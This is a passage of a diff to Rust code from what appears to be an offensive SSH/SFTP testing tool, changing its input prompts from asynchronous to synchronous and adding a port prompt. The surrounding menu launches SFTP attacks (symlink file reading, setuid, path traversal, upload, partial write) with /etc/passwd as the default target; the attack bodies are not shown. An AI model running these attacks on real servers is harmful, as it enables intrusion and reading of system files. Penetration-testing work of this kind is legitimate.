let validated_remote = validate_file_path(&remote_path, true)
@@ -629,8 +620,8 @@ pub async fn run(target: &str) -> Result<()> {
attack_upload(&host, port, &username, password_ref, keyfile_ref, &validated_local, &validated_remote).await?;
}
"6" => {
let remote_path = prompt("Remote file path").await?;
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote file path")?;
let local_path = prompt("Local file path")?;
let validated_remote = validate_file_path(&remote_path, true)
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
let validated_local = validate_file_path(&local_path, true)
+18 -24
View File
@@ -12,7 +12,7 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_file_path};
use crate::utils::{normalize_target, validate_file_path, prompt_port};
use ssh2::Session;
use std::{
io::{Read, Write},
@@ -20,7 +20,7 @@ use std::{
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -351,30 +351,26 @@ pub async fn attack_sftp_partial_write(
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -384,16 +380,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
@@ -411,14 +405,14 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("Username").await?;
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
@@ -439,21 +433,21 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "5").await?;
let mode = prompt_default("Attack mode", "5")?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
let target_file = prompt_default("Target file to read", "/etc/passwd").await?;
let target_file = prompt_default("Target file to read", "/etc/passwd")?;
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
}
"2" => {
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"3" => {
let target_path = prompt_default("Target path", "/etc/passwd").await?;
let target_path = prompt_default("Target path", "/etc/passwd")?;
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
}
"4" => {

Some files were not shown because too many files have changed in this diff Show More